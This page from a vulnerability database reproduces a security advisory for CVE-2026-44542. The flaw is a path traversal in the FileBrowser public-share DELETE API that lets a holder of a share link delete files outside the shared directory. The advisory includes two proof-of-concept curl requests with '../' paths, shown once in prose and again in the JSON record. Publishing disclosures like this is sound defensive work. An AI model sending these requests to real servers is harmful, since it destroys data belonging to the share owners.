GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-FWJ3-42WH-8673

Vulnerability from github – Published: 2026-05-07 03:28 – Updated: 2026-05-14 20:54
VLAI
Summary
FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File Deletion
Details

Summary

Attacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner’s configured storage scope.

Affected Components

Two distinct vulnerable code paths:

  1. Stable versions (e.g., gtstef/filebrowser:stable) DELETE /public/api/resources?hash=<hash>&path=../victim Root cause: middleware.go:111 Issue: path query parameter is joined before SanitizeUserPath()
  2. Development / HEAD (e.g., commit eabdfd9) DELETE /public/api/resources/bulk?hash=<hash> Body: [{"path":"../victim"}] Root cause: resource.go:274 Issue: item.Path is joined before SanitizeUserPath()

Steps to reproduce (Stable Version)

1. Create a directory structure:

/folder/shared_subdir/   (shared)
/folder/protected.txt    (outside shared directory)

2. Create a public share:

Path: /shared_subdir
AllowDelete=true

3. Send request:

curl -X DELETE "http://localhost/public/api/resources?hash=<HASH>&path=../protected.txt"

#Observe:
#protected.txt is deleted despite being outside the shared directory

Proof of Concept (HEAD / bulk endpoint)

curl -X DELETE "http://localhost/public/api/resources/bulk?hash=<HASH>" \
  -H "Content-Type: application/json" \
  -d '[{"path":"../protected.txt"}]'

Alternative PoC Scripts:

poc_v3.sh (If the script fails due to environment differences, the manual PoC above reliably reproduces the issue.)

Impact

An unauthenticated attacker with access to a public share link configured with delete permissions enabled can delete attacker-chosen files outside the shared directory, anywhere within the share owner’s storage scope. This results in unauthorized data loss and potential service disruption.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gtsteffaniak/filebrowser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260501183844-112740bdd41d"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44542"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:28:06Z",
    "nvd_published_at": "2026-05-14T18:16:50Z",
    "severity": "CRITICAL"
  },
  "details": "### **Summary**\n\nAttacker-controlled path input is joined with a trusted base path prior to sanitization, allowing traversal sequences (e.g., ../) to escape the intended shared directory. As a result, an unauthenticated attacker possessing a valid public share hash with delete permissions enabled can delete arbitrary files outside the shared directory within the share owner\u2019s configured storage scope.\n\n### **Affected Components**\n\n**Two distinct vulnerable code paths:**\n\n1. Stable versions (e.g., gtstef/filebrowser:stable)\n`DELETE /public/api/resources?hash=\u003chash\u003e\u0026path=../victim`\nRoot cause: middleware.go:111\nIssue: path query parameter is joined before SanitizeUserPath()\n2. Development / HEAD (e.g., commit eabdfd9)\n`DELETE /public/api/resources/bulk?hash=\u003chash\u003e`\nBody: [{\"path\":\"../victim\"}]\nRoot cause: resource.go:274\nIssue: item.Path is joined before SanitizeUserPath()\n\n### **Steps to reproduce (Stable Version)**\n\n**1. Create a directory structure:**\n\n```\n/folder/shared_subdir/   (shared)\n/folder/protected.txt    (outside shared directory)\n```\n\n**2. Create a public share:**\n```\nPath: /shared_subdir\nAllowDelete=true\n```\n\n**3. Send request:**\n\n```\ncurl -X DELETE \"http://localhost/public/api/resources?hash=\u003cHASH\u003e\u0026path=../protected.txt\"\n\n#Observe:\n#protected.txt is deleted despite being outside the shared directory\n```\n\n### **Proof of Concept (HEAD / bulk endpoint)**\n\n```\ncurl -X DELETE \"http://localhost/public/api/resources/bulk?hash=\u003cHASH\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027[{\"path\":\"../protected.txt\"}]\u0027\n```\n\n### **Alternative PoC Scripts:**\n[poc_v3.sh](https://github.com/user-attachments/files/26159404/poc_v3.sh) (**If the script fails due to environment differences, the manual PoC above reliably reproduces the issue.**)\n\n\n### **Impact**\nAn unauthenticated attacker with access to a public share link configured with delete permissions enabled can delete attacker-chosen files outside the shared directory, anywhere within the share owner\u2019s storage scope. This results in unauthorized data loss and potential service disruption.",
  "id": "GHSA-fwj3-42wh-8673",
  "modified": "2026-05-14T20:54:32Z",
  "published": "2026-05-07T03:28:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-fwj3-42wh-8673"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44542"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gtsteffaniak/filebrowser/commit/112740bdd41de7d5eb01e13ba49d406bfc463f69"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gtsteffaniak/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FileBrowser Public Share DELETE API Path Traversal Allows Unauthenticated Arbitrary File Deletion"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.